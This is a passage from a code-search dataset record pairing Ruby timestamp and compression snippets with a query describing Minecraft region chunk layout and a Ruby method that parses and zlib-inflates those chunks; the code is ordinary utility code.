get_vtk_time(file)\n # read the first 256 chars and split into lines\n a = IO.read(file, 256)\n a.split\n\n # parse out time= using a regex\n a = a.map{|l| l.sub!(/.*time= ([0-9e+\\-\\.]+).*/, '\\1')}\n\n # return first non-empty line\n a = a.delete_if{|l| l==nil}\n a.first.to_f\nend", "def time\n Time.parse(@timestamp)\n end", "def [](index)\n warn \"Timestamps are no longer deserialized as arrays. If you're working \" +\n \"with BSON Timestamp objects, see the BSON::Timestamp class. This usage will \" +\n \"be deprecated in Ruby Driver v2.0.\"\n if index == 0\n self.increment\n elsif index == 1\n self.seconds\n else\n nil\n end\n end", "def get_timestamp_and_signatures(header)\n list_items = header.split(/,\\s*/).map { |i| i.split(\"=\", 2) }\n timestamp = Integer(list_items.select { |i| i[0] == \"t\" }[0][1])\n signatures = list_items.select { |i| i[0] == @version }.map { |i| i[1] }\n [Time.at(timestamp), signatures]\n end", "def message_timestamps(messages)\n messages\n .map { |message| message.match(TIMESTAMP_REGEX)[0] }\n .compact\n .map { |timestamp| DateTime.parse(timestamp) }\nend", "def time_fragments\n []\n end", "def timestamp\n #data[\"timestamp\"] as? TimeInterval ?? 0\n timestamp = data[\"timestamp\"]\n timestamp.to_i || 0\n end", "def test_filetime\n\t\t# for saving, we can use Date, Time, or DateTime.\n\t\tassert_equal \"\\000\\000\\260\\3077-\\307\\001\", FileTime.dump(Time.gm(2007, 1, 1))\n\t\ttime = FileTime.load \"\\000\\000\\260\\3077-\\307\\001\"\n\t\tassert_equal FileTime, time.class\n\t\tassert_equal '2007-01-01T00:00:00+00:00', time.to_s\n\t\t# note that if we'd used Time.local, instead of gm, we'd get a different value. eg\n\t\tassert_equal \"\\000\\370\\331\\336\\r-\\307\\001\", FileTime.dump(DateTime.parse('2007-01-01 00:00 +0500'))\n\t\t# note that it still loads up as GMT, because there's no associated time zone.\n\t\t# essentially, i'm storing and loading times as GMT. maybe i should add in conversion to local time\n\t\t# zone when loading\n\t\tassert_equal '2006-12-31T19:00:00+00:00', FileTime.load(\"\\000\\370\\331\\336\\r-\\307\\001\").to_s\n\t\t# test loading a bogus time\n\t\tassert_equal nil, FileTime.load(0.chr * 8)\n\t\t# this used to be counted as an \"unlikely time\", and discarded. that has been removed\n\t\tassert_equal '1700-01-01T00:00:00+00:00', FileTime.load(FileTime.dump(Date.new(1700, 1, 1))).to_s\n\t\tassert_equal '#<Ole::Types::FileTime 2006-12-31T19:00:00+00:00>', FileTime.load(\"\\000\\370\\331\\336\\r-\\307\\001\").inspect\n\tend", "def timestamp\n Time.at((self.tsh << 32 | self.tsl) * ts_resol)\n end", "def timestamp\n @timestamp ||= Time.parse(self['timestamp'])\n end", "def timestamp\n Time.at((self[:tsh].to_i << 32 | self[:tsl].to_i) * ts_resol)\n end", "def time_series(template_series)\n ts = []\n header = true\n File.foreach(template_series) do |line|\n line = line.split(' ',6)\n ts << line[0..4] unless header || line.size < 4\n header = false if line.first==\"*\"\n end\n t0 = parse_time_stamp(ts[0].first)\n t1 = parse_time_stamp(ts[1].first)\n [ts, (t1 - t0).to_f]\n end", "def met_at\n return Time.parse(read) if met?\n nil\n end", "def test_complete_timeInstant_object\n\n hIn = Marshal::load(Marshal.dump(@@hIn))\n hResponse = Marshal::load(Marshal.dump(@@responseObj))\n metadata = @@NameSpace.unpack(hIn, hResponse)\n\n assert_equal 'id', metadata[:timeId]\n assert_equal 'description', metadata[:description]\n refute_empty metadata[:identifier]\n assert_equal 2, metadata[:instantNames].length\n assert_equal 'instantName0', metadata[:instantNames][0]\n assert_equal 'instantName1', metadata[:instantNames][1]\n refute_empty metadata[:timeInstant]\n assert_kind_of DateTime, metadata[:timeInstant][:dateTime]\n assert_equal 'YMDhms', metadata[:timeInstant][:dateResolution]\n refute_empty metadata[:geologicAge]\n assert hResponse[:readerExecutionPass]\n assert_empty hResponse[:readerExecutionMessages]\n\n end", "def value(data)\n timestamp = BinData::Uint32be.read(data)\n return \"0000-00-00 00:00:00\" if timestamp.zero?\n\n DateTime.strptime(timestamp.to_s, \"%s\").strftime \"%Y-%m-%d %H:%M:%S\"\n end", "def get_runtime_timestamps\n all_events = events.to_a\n start_time = DateTime.parse(all_events.first['timestamp'])\n completion_time = DateTime.parse(all_events.last['timestamp'])\n [start_time, completion_time]\n end", "def timestamp() @timestamp ||= Time.now.strftime(\"%Y%m%d%H%M%SZ\") end", "def create_timestamp(line)\n\t\tTime.strptime(line[1], '%Q')\n\tend", "def read_time fn=nil\n time = read_single_line(fn)\n if time.size == 2 # vector of two integers\n time.map { |t| t.to_i }\n else # single number\n single = time.first\n single =~ float_re ? single.to_f : single.to_i\n [single, nil]\n end\n end", "def started_at\n # from TAI to Unix\n @started_at ||= @raw ? Time.at((@raw[0] << 32) + @raw[1] - 4611686018427387914) : nil\n end", "def last_written_at\n entry = read(1).first\n entry.time if entry\n end", "def tiny_from_timestamp\n tiny(Time.now.to_f - TINY_EPOCH)\n end", "def get_timestamp headers\n headers['Fecha']\n end", "def timestamps\n c = datetime_attr :created_at\n u = datetime_attr :updated_at\n [c, u]\n end", "def test_rfc6351_value_time_with_hour_minute_second\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>135301</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:135301\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def timestamp\n first(:timestamp)\n end", "def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end", "def generation_time\n Time.at(data.unpack(\"N\")[0]).utc\n end", "def timestamp=(_arg0); end", "def timestamp=(_arg0); end", "def timestamp=(_arg0); end", "def timestamp=(_arg0); end", "def ip_timestamp(timestamp, ip_address)\n [ip2long(ip_address), timestamp].pack(\"NN\")\n end", "def time(stack)\n ::Time.from_evolver_timestamp(file(stack)[0...14])\n end", "def recordTimestamps(t1: nil, t2: nil, t3: nil, t4: nil, cfs: nil, cfd: nil)\n @activestamps[0] = t1 if t1\n @activestamps[1] = t2 if t2\n @activestamps[2] = t3 if t3\n @activestamps[3] = t4 if t4\n @activestamps[4] = cfs if cfs\n @activestamps[5] = cfd if cfd\n end", "def received_at\n params['TIMESTAMP']\n end", "def time\n Time.at(data[\"time_ms\"].to_f/1000)\n end", "def time\n Types::Time.deserialize(@time)\n end", "def timestamp\n self[:timestamp]\n end", "def received_at\r\n params['TxTime']\r\n end", "def test_rfc6351_value_time_with_hour_minute\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>1353</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:1353\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def determine_file_time(path)\n date, hour = date_and_hour_from_path(path)\n # here we assume file timestamps are in UTC\n year, month, day = date[0..3].to_i, date[4..5].to_i, date[6..7].to_i\n Time.utc(year, month, day, hour)\n end", "def timestamp_to_time(timestamp)\n Time.at(timestamp.nanos * 10**-9 + timestamp.seconds)\n end", "def _get_timestamp_or_duration\n return [nil, nil] unless @buffer\n\n now, now_dup = _init_now_then\n @_mode = nil\n @buffer.each do |time_unit, time_value|\n now_dup = _apply(time_unit, time_value, now, now_dup)\n end\n return [nil, diff_in_seconds(now, now_dup)] if @_mode.nil?\n\n [now_dup.to_i, nil]\n end", "def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end", "def timestamp\n @data['when'].to_time\n end", "def get_timestamp\n timestamp = Time.now.gmtime\n timestamp = timestamp.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n timestamp.to_s\n end", "def read_epoch_time(microseconds_since_epoch)\n Time.at(microseconds_since_epoch.to_i/1000)\n end", "def timestamp\n Time.parse( props[ TIMESTAMP_PROP_NAME ] ) if props\n end", "def test_rfc6351_value_time_with_minute_second\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>-5301</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:-5301\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def get_timestamp(time)\r\n srandom_r time\r\n t0 = random_r\r\n t1 = 0x17dc65df;\r\n hi = (t0 * t1) >> 32;\r\n t2 = t0 >> 31;\r\n t3 = hi >> 23;\r\n t3 = t3 - t2;\r\n t4 = t3 * 0x55d4a80;\r\n t0 = t0 - t4;\r\n t0 = t0 + 0x989680;\r\n\r\n ieee754_round(t0)\r\n end", "def datetime_timestamp\n return Date.parse(self.date).to_time\n end", "def at\n # Thread-safety: It is possible that the value of @at may be calculated\n # multiple times in concurrently executing threads. It is not worth the\n # overhead of locking to ensure that @at is only calculated once.\n\n @at ||= TimeOrDateTime.new(@timestamp)\n end", "def timestamp\n DateTime.now.strftime(\"%Y%m%d%H%M%S\")\n end", "def to_seconds(timestamp)\n hours = timestamp[0].to_i * 60 * 60\n minutes = timestamp[1].to_i * 60\n hours + minutes + timestamp[2].to_i\nend", "def timestamp2date(t)\n Time.at(t.to_i).utc\nend", "def time_at(index, delta=0)\n Time.parse(@lines[index + delta])\n end", "def extract_time(value)\n mash = if value.respond_to?(:to_mash)\n value.to_mash\n else\n DataMapper::Ext::Hash.to_mash(value)\n end\n\n now = ::Time.now\n\n [ :year, :month, :day, :hour, :min, :sec ].map do |segment|\n typecast_to_numeric(mash.fetch(segment, now.send(segment)), :to_i)\n end\n end", "def view_timestamp(file)\n\t#stamp = commandz(\"stat #{file}\")\n\t#if not stamp.empty?\n\t#\tputs \"#{FGRN}Current Time Stamp for #{HC}#{FWHT}: #{file.chomp}#{RS}\"\n\t#\tstamp.each { |x| puts \"#{FWHT}#{x.chomp}#{RS}\" }\n\t#end\n\n\t# Now we do it with just pure ruby :)\n\t#Stat our target file so we can enumerate all the info normal stat command might show.....\n\tfoo = File.stat(file)\n\tputs \"#{HC}#{FGRN}File#{FWHT}: #{file}\\t#{FGRN}Type#{FWHT}: #{foo.ftype}#{RS}\"\n\tputs \"#{HC}#{FGRN}Size#{FWHT}: #{foo.size}\\t#{FGRN}Blocks#{FWHT}: #{foo.blocks}\\t#{FGRN}IO Blocks#{FWHT}: #{foo.blksize}#{RS}\"\n\tputs \"#{HC}#{FGRN}Dev#{FWHT}: #{foo.dev}\\t#{FGRN}Inode#{FWHT}: #{foo.ino}\\t#{FGRN}Links#{FWHT}: #{foo.nlink}#{RS}\"\n\tputs \"#{HC}#{FGRN}Access#{FWHT}: #{sprintf(\"%o\", foo.mode)}\\t#{FGRN}UID#{FWHT}: #{foo.uid}\\t#{FGRN}GID#{FWHT}: #{foo.gid}#{RS}\"\n\tputs \"#{HC}#{FGRN}Access Time#{FWHT}: #{foo.atime}#{RS}\"\n\tputs \"#{HC}#{FGRN}Modify Time#{FWHT}: #{foo.mtime}#{RS}\"\n\tputs \"#{HC}#{FGRN}Change Time#{FWHT}: #{foo.ctime}#{RS}\"\n\tputs\nend", "def test_rfc6351_value_time_with_second_tz\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>--01+1234</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:--01+1234\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def parse_srt_time(time)\n time =~ /^(\\d+):(\\d+):(\\d+),(\\d{3})$/\n hh, mm, ss, ms = [$1, $2, $3, $4].map(&:to_i)\n hh*3600 + mm*60 + ss + ms/1000.0\n end", "def timestamp\n time_formated = Time.now.to_i.to_s.reverse.chop.chop.chop.reverse.to_i\n return time_formated.to_s\nend", "def timestamp_to_time num\n Time.at(num / 1000.0 + AssumedTimezoneAdjust, num % 1000).utc\n end", "def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend", "def get_Timestamp()\n \t return @outputs[\"Timestamp\"]\n \tend", "def timestamp\n TimeStamp.new\n end", "def voided_at\n Time.at(voided_time_millis / 1000).utc.to_datetime\n end", "def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end" ]
[ "0.646188", "0.6248137", "0.6183079", "0.6069663", "0.59347457", "0.59249425", "0.58973867", "0.5881721", "0.588112", "0.587202", "0.5859514", "0.5834923", "0.5815452", "0.5792059", "0.5770045", "0.57601553", "0.57601553", "0.57601553", "0.57601553", "0.57601553", "0.57601553", "0.5734638", "0.5725832", "0.5724083", "0.5700233", "0.5697158", "0.56708556", "0.56704867", "0.5666585", "0.56636405", "0.56591606", "0.5645791", "0.5616157", "0.5614418", "0.5606171", "0.56004095", "0.55955064", "0.55740815", "0.55445606", "0.5542995", "0.5533682", "0.55156606", "0.5510314", "0.5498883", "0.54961467", "0.54896843", "0.5477381", "0.5476513", "0.5457044", "0.5456907", "0.54525137", "0.5448453", "0.543814", "0.5431833", "0.54177547", "0.5416297", "0.5415304", "0.53895825", "0.53714347", "0.53714347", "0.5367766", "0.5367766", "0.5367766", "0.5367766", "0.53635186", "0.53544235", "0.53478557", "0.5347079", "0.53402185", "0.53399336", "0.5321184", "0.53210276", "0.5307382", "0.5299577", "0.5295223", "0.5283727", "0.5278209", "0.5276546", "0.52739984", "0.526373", "0.5263453", "0.5259998", "0.5259803", "0.52567995", "0.5252539", "0.5252447", "0.52507025", "0.52495563", "0.5239858", "0.5239414", "0.52372885", "0.5221362", "0.5214542", "0.52135694", "0.5212934", "0.5212839", "0.52120495", "0.52079153", "0.5202514", "0.520169" ]
0.74335706
0
| 0 3 | 4 | 5... | | length (in bytes) | compression type | compressed data (length1 bytes) | Compression types: "GZip (RFC1952)" : 1 "Zlib (RFC1950)" : 2
def chunk(location) offset = C_BYTES + location[:offset] offset = location[:offset] * (1024 * 4) # 4KiB chunk_length = ByteArray.to_i(bytes(offset..(offset + 3))) compression_type = bytes(offset + 4) == [1] ? :gzip : :zlib compressed_nbt = chars((offset + 5)..(offset + 5 + chunk_length)) raise "Can't uncompress chunk in GZip format" if compression_type == :gzip return nil if offset == 0 # Not created Chunk.new( nbt: Nbt::parse(Zlib::Inflate.inflate(compressed_nbt)), offset: location[:offset], byte_offset: offset, chunk_length: chunk_length, compression_type: compression_type, ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def compression_method; end", "def compressed_size; end", "def compressed_size; end", "def compression_level; end", "def compressed_size=(_arg0); end", "def compression; end", "def decompressed_size; end", "def compression?; end", "def default_compression; end", "def compression_client; end", "def compression_server; end", "def default_compression=(_arg0); end", "def compress(data); end", "def compression_method=(_arg0); end", "def compression; @store.compression; end", "def gzip_requests; end", "def decompress(data); end", "def compressed_size\n # A number of these are commented out because we just don't care enough to read\n # that section of the header. If we do care, uncomment and check!\n proto = @data_buffer.read_int64(0)\n size = proto & 0xFFFFFFFFFFFF\n msg_type = (proto >> 48) & 0xFF\n\n return nil if msg_type != AS_MSG_TYPE_COMPRESSED\n\n size\n end", "def get_compression()\n return(get_cmd('CP;',0.1,0.5,3).gsub(/^CP/,'').gsub(/;$/,'').to_i)\nend", "def put_compressed ob\n data = Boss.dump(ob)\n whdr TYPE_EXTRA, TCOMPRESSED\n type = case data.length\n when 0..160\n 0\n when 161..8192\n data = Zlib::Deflate.new.deflate(data, Zlib::FINISH)\n 1\n else\n data = Zlib::Deflate.new.deflate(data, Zlib::FINISH)\n 1\n #data = Bzip2.compress data\n #2\n end\n whdr type, data.length\n wbin data\n end", "def gzip_compress(s)\n io = StringIO.new('w')\n w = Zlib::GzipWriter.new(io)\n w.write(s)\n w.close\n io.string\nend", "def compress_gzip(data)\n buffer = StringIO.new('','w')\n compressor = Zlib::GzipWriter.new(buffer)\n begin\n compressor.write(data)\n ensure\n compressor.close()\n end\n buffer.string\n end", "def compress!; end", "def tar_compression_flag\n case compression\n when :bzip2, \"bzip2\", nil\n \"j\"\n when :gzip, \"gzip\"\n \"z\"\n when :none, \"none\"\n \"\"\n end\n end", "def compress\n Zlib::Deflate.deflate(marshal)\n end", "def compression\n unless defined?(@compression)\n @compression = :bzip2\n reset_computed_values\n end\n @compression\n end", "def gzip_enabled; end", "def gzip_enabled; end", "def compressor; end", "def inflate zstring=nil\n\t\t@zstring = zstring unless zstring.nil?\n\t\t#We can't use unpack, IronRuby doesn't have it yet.\n\t\t@zstring.each_byte {|b| @input_buffer << b}\n\t\t\n\t \tunless @rawdeflate then\n\n\t\tcompression_method_and_flags = @input_buffer[@in_pos+=1]\n\t\tflags = @input_buffer[@in_pos+=1]\n\t\t\n\t\t#CMF and FLG, when viewed as a 16-bit unsigned integer stored inMSB order (CMF*256 + FLG), is a multiple of 31\n\t\tif ((compression_method_and_flags << 0x08) + flags) % 31 != 0 then raise Zlib::DataError.new(\"incorrect header check\") end\n\t\t\n\t\t#CM = 8 denotes the โ€œdeflateโ€ compression method with a window size up to 32K. (RFC's only specify CM 8)\n\t\tcompression_method = compression_method_and_flags & 0x0F \n\t\t\n\t\tif compression_method != Z_DEFLATED then raise Zlib::DataError.new(\"unknown compression method\") end\n\t\t\n\t\t#For CM = 8, CINFO is the base-2 logarithm of the LZ77 window size,minus eight (CINFO=7 indicates a 32K window size)\n\t\tcompression_info = compression_method_and_flags >> 0x04 \n\t\t\n\t\tif (compression_info + 8) > @w_bits then raise Zlib::DataError.new(\"invalid window size\") end\n\t\t\n\t\tpreset_dictionary_flag = ((flags & 0x20) >> 0x05) == 1\n\t\tcompression_level = (flags & 0xC0) >> 0x06\n\t\t\n\t\tif preset_dictionary_flag and @dict.nil? then raise Zlib::NeedDict.new \"Preset dictionary needed!\" end\n\t\t\n\t\t#TODO: Add Preset dictionary support\n\t\tif preset_dictionary_flag then \n\t\t\t@dict_crc = @input_buffer[@in_pos+=1] << 24 | @input_buffer[@in_pos+=1] << 16 | @input_buffer[@in_pos+=1] << 8 | @input_buffer[@in_pos+=1]\n\t\t end\n\t\t\n\t\tend\n\t\tlast_block = false\n\t\t#Begin processing DEFLATE stream\n\t\tuntil last_block\n\t\t\tlast_block = (get_bits(1) == 1)\n\t\t\tblock_type = get_bits(2)\n\t\t\tcase block_type\n\t\t\t\twhen 0 then no_compression\n\t\t\t\twhen 1 then fixed_codes\n\t\t\t\twhen 2 then dynamic_codes\n \t\t\t\twhen 3 then raise Zlib::DataError.new(\"invalid block type\")\t \n\t\t\tend\t\n\t\tend\n\t\tfinish\n\tend", "def snapshots_transport_gzip_requests; end", "def compress_request_if_needed(data)\n encoding = 'identity'\n if data.size > 64 * 1024\n data = Encoders::Compressed.encode(data)\n encoding = 'deflate'\n end\n check_post_size(data)\n [data, encoding]\n end", "def decompressor; end", "def compression\n @gapi.compression\n end", "def file_extension\n 'gz'\n end", "def inflate2(data)\n zlib = Zlib::Inflate.new(15)\n buff = zlib.inflate(data)\n zlib.finish\n zlib.close\n buff\nend", "def gzip_requests=(_arg0); end", "def deflate(s)\n Snappy.compress(s)\n end", "def compress(value)\n Zlib::Deflate.deflate(value)\n end", "def compress\n return :input_too_short if buf.size < 2\n return :input_too_large if buf.size > 0xFFFFFF\n\n outstream = ArrayOStream.new\n .u8(0x11).u16(buf.size).u8(buf.size >> 16)\n\n outbuffer = [8 * 4 + 1] * 33\n outbuffer[0] = 0\n bufferlength = 1\n bufferedBlocks = 0\n readBytes = 0\n while readBytes < buf.size\n if bufferedBlocks == 8\n outstream.write(outbuffer[0, bufferlength])\n outbuffer[0] = 0\n bufferlength = 1\n bufferedBlocks = 0\n end\n\n oldLength = [readBytes, 0x1000].min\n disp, length = occurrence_length(readBytes,\n [buf.size - readBytes, 0x10110].min, readBytes - oldLength, oldLength)\n if length < 3\n outbuffer[bufferlength] = buf[readBytes]\n readBytes += 1\n bufferlength += 1\n else\n readBytes += length\n outbuffer[0] |= (1 << (7 - bufferedBlocks)) & 0xFF\n case\n when length > 0x110\n outbuffer[bufferlength] = 0x10\n outbuffer[bufferlength] |= ((length - 0x111) >> 12) & 0x0F\n bufferlength += 1\n outbuffer[bufferlength] = ((length - 0x111) >> 4) & 0xFF\n bufferlength += 1\n outbuffer[bufferlength] = ((length - 0x111) << 4) & 0xF0\n when length > 0x10\n outbuffer[bufferlength] = 0x00\n outbuffer[bufferlength] |= ((length - 0x111) >> 4) & 0x0F\n bufferlength += 1\n outbuffer[bufferlength] = ((length - 0x111) << 4) & 0xF0\n else\n outbuffer[bufferlength] = ((length - 1) << 4) & 0xF0\n end\n outbuffer[bufferlength] |= ((disp - 1) >> 8) & 0x0F\n bufferlength += 1\n outbuffer[bufferlength] = (disp - 1) & 0xFF\n bufferlength += 1\n end\n\n bufferedBlocks += 1\n end\n\n if bufferedBlocks > 0\n outstream.write(outbuffer[0, bufferlength])\n end\n\n outstream.buf\n end", "def gzip_enabled=(_arg0); end", "def inflate zstring=nil\n\t\t\t@zstring = zstring unless zstring.nil?\n\t\t\t#We can't use unpack, IronRuby doesn't have it yet.\n\t\t\t@zstring.each_byte {|b| @input_buffer << b}\n\n\t\t\tunless @rawdeflate then\n\t\t\t\tcompression_method_and_flags = @input_buffer[@in_pos+=1]\n\t\t\t\tflags = @input_buffer[@in_pos+=1]\n\n\t\t\t\t# CMF and FLG, when viewed as a 16-bit unsigned integer stored in\n\t\t\t\t# MSB order (CMF*256 + FLG), is a multiple of 31\n\t\t\t\tif ((compression_method_and_flags << 0x08) + flags) % 31 != 0\n\t\t\t\t\traise Zlib::DataError.new(\"incorrect header check\")\n\t\t\t\tend\n\n\t\t\t\t# CM = 8 denotes the deflate compression method with a window size\n\t\t\t\t# up to 32K. (RFC's only specify CM 8)\n\t\t\t\tcompression_method = compression_method_and_flags & 0x0F\n\n\t\t\t\tif compression_method != Z_DEFLATED\n\t\t\t\t\traise Zlib::DataError, \"unknown compression method\"\n\t\t\t\tend\n\n\t\t\t\t# For CM = 8, CINFO is the base-2 logarithm of the LZ77 window size,\n\t\t\t\t# minus eight (CINFO = 7 indicates a 32K window size)\n\t\t\t\tcompression_info = compression_method_and_flags >> 0x04\n\n\t\t\t\tif (compression_info + 8) > @w_bits\n\t\t\t\t\traise Zlib::DataError, \"invalid window size\"\n\t\t\t\tend\n\n\t\t\t\tpreset_dictionary_flag = ((flags & 0x20) >> 0x05) == 1\n\t\t\t\tcompression_level = (flags & 0xC0) >> 0x06\n\n\t\t\t\tif preset_dictionary_flag and @dict.nil?\n\t\t\t\t\traise Zlib::NeedDict, \"Preset dictionary needed!\"\n\t\t\t\tend\n\n\t\t\t\t#TODO: Add Preset dictionary support\n\t\t\t\tif preset_dictionary_flag\n\t\t\t\t\t@dict_crc = @input_buffer[@in_pos+=1] << 24 |\n\t\t\t\t\t\t\t\t\t\t\t@input_buffer[@in_pos+=1] << 16 |\n\t\t\t\t\t\t\t\t\t\t\t@input_buffer[@in_pos+=1] << 8 |\n\t\t\t\t\t\t\t\t\t\t\t@input_buffer[@in_pos+=1]\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlast_block = false\n\t\t\t#Begin processing DEFLATE stream\n\t\t\tuntil last_block\n\t\t\t\tlast_block = (get_bits(1) == 1)\n\t\t\t\tblock_type = get_bits(2)\n\t\t\t\tcase block_type\n\t\t\t\t\twhen 0 then no_compression\n\t\t\t\t\twhen 1 then fixed_codes\n\t\t\t\t\twhen 2 then dynamic_codes\n\t\t\t\t\twhen 3 then raise Zlib::DataError, \"invalid block type\"\n\t\t\t\tend\n\t\t\tend\n\t\t\tfinish\n\t\tend", "def decompress\n header = buf.u32\n return :invalid_data if (header & 0xFF) != 0x11\n decompressedSize = header >> 8\n decompressedSize = buf.u32 if decompressedSize == 0\n\n bufferLength = 0x1000\n buffer = Array.new(bufferLength)\n bufferOffset = 0\n\n flags = 0\n mask = 1\n\n outbuf = []\n until outbuf.size >= decompressedSize\n if mask == 1\n flags = buf.u8\n return :stream_too_short if flags.nil?\n mask = 0x80\n else\n mask >>= 1\n end\n\n if (flags & mask) > 0\n byte1 = buf.u8\n return :stream_too_short if byte1.nil?\n\n length = byte1 >> 4\n disp = -1\n case length\n when 0\n byte2 = buf.u8\n byte3 = buf.u8\n return :stream_too_short if byte3.nil?\n length = (((byte1 & 0x0F) << 4) | (byte2 >> 4)) + 0x11\n disp = (((byte2 & 0x0F) << 8) | byte3) + 0x1\n when 1\n byte2 = buf.u8\n byte3 = buf.u8\n byte4 = buf.u8\n return :stream_too_short if byte4.nil?\n length = (((byte1 & 0x0F) << 12) | (byte2 << 4) | (byte3 >> 4)) + 0x111\n disp = (((byte3 & 0x0F) << 8) | byte4) + 0x1\n else\n byte2 = buf.u8\n return :stream_too_short if byte2.nil?\n length = ((byte1 & 0xF0) >> 4) + 0x1\n disp = (((byte1 & 0x0F) << 8) | byte2) + 0x1\n end\n\n return :invalid_data if disp > outbuf.size\n\n bufIdx = bufferOffset + bufferLength - disp\n length.times do\n next_byte = buffer[bufIdx % bufferLength]\n bufIdx += 1\n outbuf << next_byte\n buffer[bufferOffset] = next_byte\n bufferOffset = (bufferOffset + 1) % bufferLength\n end\n else\n next_byte = buf.u8\n return :stream_too_short if next_byte.nil?\n outbuf << next_byte\n buffer[bufferOffset] = next_byte\n bufferOffset = (bufferOffset + 1) % bufferLength\n end\n end\n\n outbuf\n end", "def string_compression(str)\n\nend", "def compress(data)\n compressed = \"\\x10\"\n compressed <<\n Bytestream.from_hex(format('%06X', data.length)).to_b.reverse\n\n index = 0\n w = 0xFFF\n window = ''\n lookahead = ''\n\n loop do\n bits = ''\n check = nil\n current_chunk = ''\n\n 8.times do\n window = (index < w ? data[0, index] : data[(index % w)..index])\n lookahead = data[index..-1]\n\n if lookahead.nil? || lookahead.empty?\n unless bits.empty?\n while bits.length < 8\n bits << '0'\n current_chunk << \"\\x00\"\n end\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end\n break\n end\n\n check = window.index(lookahead[0..2])\n if check\n bits << '1'\n length = 2\n store_length = 0\n store_check = 0\n while check && length < 18\n store_length = length\n length += 1\n store_check = check\n check = window.index(lookahead[0, length])\n end\n index += store_length\n store_length -= 3\n position = window.length - 1 - store_check\n store_length = store_length << 12\n current_chunk <<\n Bytestream.from_hex(format('%04X', (store_length | position))).to_b\n else\n index += 1\n bits << '0'\n current_chunk << lookahead[0]\n end\n end # 8.times\n\n if lookahead.nil? || lookahead.empty?\n unless bits.empty?\n while bits.length < 8\n bits << '0'\n current_chunk << \"\\x00\"\n end\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end\n break\n end\n\n compressed <<\n Bytestream.from_hex(format('%02x', bits.to_i(2))).to_b <<\n current_chunk\n end # loop\n\n compressed << \"\\x00\" until compressed.length % 4 == 0\n compressed\n end", "def compressed(v); @options[:compressed] = v;end", "def _safe_inflate data\n zi = Zlib::Inflate.new\n pos = 0; r = String.new\n begin\n # save some memory by not using String#[] when not necessary\n r << zi.inflate(pos==0 ? data : data[pos..-1])\n if zi.total_in < data.size\n @extradata << data[zi.total_in..-1]\n STDERR.puts \"[?] #{@extradata.last.size} bytes of extra data after zlib stream\".red if @verbose >= 1\n end\n # decompress OK\n rescue Zlib::BufError\n # tried to decompress, but got EOF - need more data\n STDERR.puts \"[!] #{$!.inspect}\".red if @verbose >= -1\n # collect any remaining data in decompress buffer\n r << zi.flush_next_out\n rescue Zlib::DataError\n STDERR.puts \"[!] #{$!.inspect}\".red if @verbose >= -1\n #p [pos, zi.total_in, zi.total_out, data.size, r.size]\n r << zi.flush_next_out\n # XXX TODO try to skip error and continue\n# printf \"[d] pos=%d/%d t_in=%d t_out=%d bytes_ok=%d\\n\".gray, pos, data.size,\n# zi.total_in, zi.total_out, r.size\n# if pos < zi.total_in\n# pos = zi.total_in\n# else\n# pos += 1\n# end\n# pos = 0\n# retry if pos < data.size\n rescue Zlib::NeedDict\n STDERR.puts \"[!] #{$!.inspect}\".red if @verbose >= -1\n # collect any remaining data in decompress buffer\n r << zi.flush_next_out\n end\n\n r == \"\" ? nil : r\n ensure\n zi.close if zi && !zi.closed?\n end", "def compressed?\n @compressed == true\n end", "def deflate\n return Zlib::Deflate.deflate(self)\n end", "def compression\n configuration[:copy_compression] || :gzip\n end", "def compressed_size\n @deflater.closed? ? @compressed_size : @deflater.total_out\n end", "def compressed?\n false\n end", "def compression_codec\n cluster.config.compression_codec if compressed?\n end", "def compression\n @j_del.getTryUseCompression\n end", "def all_virtual_compression_statistics\n super\n end", "def deflate(encoding, status, headers, body)\n if encoding&.include? 'gzip'\n headers['Content-Encoding'] = 'gzip'\n headers.delete('Content-Length')\n [status, headers, body.map! { |s| Zlib.gzip(s) }]\n elsif encoding&.include? 'deflate'\n headers['Content-Encoding'] = 'deflate'\n headers.delete('Content-Length')\n [status, headers, body.map! { |s| Zlib.deflate(s) }]\n else\n [status, headers, body]\n end\n end", "def enable_gzip; @opts[:enable_gzip]; end", "def tar_compression_extension\n case compression\n when :bzip2, \"bzip2\", nil\n \".bz2\"\n when :gzip, \"gzip\"\n \".gz\"\n when :none, \"none\"\n \"\"\n end\n end", "def 